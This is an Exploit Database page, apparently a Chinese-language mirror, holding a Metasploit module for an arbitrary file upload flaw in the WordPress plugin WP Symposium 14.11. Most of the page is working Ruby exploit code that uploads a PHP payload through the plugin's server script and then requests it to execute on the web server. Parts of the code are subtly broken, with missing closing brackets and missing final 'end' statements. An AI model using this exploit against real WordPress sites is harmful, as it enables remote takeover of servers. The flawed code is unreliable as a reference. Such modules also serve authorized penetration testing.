WordPress Plugin WP Symposium 14.11 – Arbitrary File Upload (Metasploit)

Exploit Database
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作者： Metasploit

日期： 2015-01-13
类别：
- remote
平台：
- php
来源：https://www.exploit-db.com/exploits/35778/

100

# This module requires Metasploit: http://www.metasploit.com/download

# Current source: https://github.com/rapid7/metasploit-framework

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Exploit::FileDropper

include Msf::HTTP::Wordpress

def initialize(info = {})

super(update_info(

info,

'Name'=> 'WordPress WP Symposium 14.11 Shell Upload',

'Description' => %q{WP Symposium Plugin for WordPress contains a

flaw that allows a remote attacker to execute

arbitrary PHP code. This flaw exists because the

/wp-symposium/server/file_upload_form.php script

does not properly verify or sanitize

user-uploaded files. By uploading a .php file,

the remote system will place the file in a

user-accessible path. Making a direct request to

the uploaded file will allow the attacker to

execute the script with the privileges of the

web server.},

'License' => MSF_LICENSE,

'Author'=>

[

'Claudio Viviani',# Vulnerability disclosure

'Rob Carr <rob[at]rastating.com>' # Metasploit module

'References'=>

[

['OSVDB', '116046'],

['WPVDB', '7716']

'DisclosureDate'=> 'Dec 11 2014',

'Platform'=> 'php',

'Arch'=> ARCH_PHP,

'Targets' => [['wp-symposium < 14.12', {}]],

'DefaultTarget' => 0

))

end

def check

check_plugin_version_from_readme('wp-symposium', '14.12')

end

def generate_mime_message(payload, payload_name, directory_name, symposium_url)

data = Rex::MIME::Message.new

data.add_part('1', nil, nil, 'form-data; name="uploader_uid"')

data.add_part("./#{directory_name}/", nil, nil, 'form-data; name="uploader_dir"')

data.add_part(symposium_url, nil, nil, 'form-data; name="uploader_url"')

data.add_part(payload.encoded, 'application/x-php', nil, "form-data; name=\"files[]\"; filename=\"#{payload_name}\"")

data

end

def exploit

print_status("#{peer} - Preparing payload")

unique_name = Rex::Text.rand_text_alpha(10)

payload_name = "#{unique_name}.php"

symposium_url = normalize_uri(wordpress_url_plugins, 'wp-symposium', 'server', 'php')

payload_url = normalize_uri(symposium_url, unique_name, payload_name)

data = generate_mime_message(payload, payload_name, unique_name, symposium_url)

symposium_url = normalize_uri(symposium_url, 'index.php')

print_status("#{peer} - Uploading payload to #{payload_url}")

res = send_request_cgi(

'method'=> 'POST',

'uri' => symposium_url,

'ctype' => "multipart/form-data; boundary=#{data.bound}",

'data'=> data.to_s

)

if res && res.code == 200 && res.body.length > 0 && !res.body.include?('error') && res.body != '0'

print_good("#{peer} - Uploaded the payload")

register_files_for_cleanup(payload_name)

print_status("#{peer} - Executing the payload...")

send_request_cgi(

{

'uri' => payload_url,

'method'=> 'GET'

}, 5)

print_good("#{peer} - Executed payload")

else

if res.nil?

fail_with(Failure::Unreachable, "No response from the target")

else

vprint_error("#{peer} - HTTP Status: #{res.code}")

vprint_error("#{peer} - Server returned: #{res.body}")

fail_with(Failure::UnexpectedReply, "Failed to upload the payload")

end